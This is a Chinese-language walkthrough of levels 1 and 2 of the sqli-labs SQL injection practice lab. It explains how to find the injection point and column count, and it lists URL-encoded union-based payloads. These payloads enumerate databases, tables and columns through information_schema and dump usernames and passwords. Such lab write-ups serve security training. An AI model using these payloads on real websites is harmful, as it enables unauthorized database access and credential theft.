☰
全网最详细sqllab1-2关解析
2026/9/27 2:09:40 网站建设 项目流程


关卡1
思路:

  1. 提示get传参id
  2. 尝试id=1,正确返回用户名密码,尝试id=a,无回显,确认为字符型
  3. 尝试id=1'--+,正常回显,可自主闭合
  4. id=1' order by 4--+ 不可以,order by 3可以,确认行数
  5. 只回显示2个,根据id=-1'union select 1,2,3--+确认2,3位置返回
  6. 根据information_schema库下逐层,查库,查表,查字段

攻击代码:

查库

?id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata--+

查表

id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"--+

查字段

?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema="security"and%20table_name="users"--+

根据字段获取数据

?id=-1%27%20union%20select%201,password,username%20from%20users%20where%20id=3--+

查所有密码

?id=-1%27union%20select%201,2,group_concat(password)%20from%20users--+


关卡2:

思路:

  1. 提示get传参id
  2. 尝试id=1,正确返回用户名密码,尝试id=a,无此列,确认为数字型
  3. 尝试id=1--+,正常回显,可自主闭合
  4. id=1 order by 4--+ 不可以,order by 3可以,确认行数
  5. 只回显示2个,根据id=-1union select 1,2,3--+确认2,3位置返回
  6. 根据information_schema库下逐层,查库,查表,查字段

攻击代码:

查库

=-1%20union select 1,2,group_concat(schema_name) from information_schema.schemata--+

查表

id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"--+

查字段

?id=-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema="security"and%20table_name="users"--+

根据字段获取数据

?id=-1%20union%20select%201,password,username%20from%20users%20where%20id=3--+

查所有密码

?id=-1%20union%20select%201,2,group_concat(password)%20from%20users--+

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询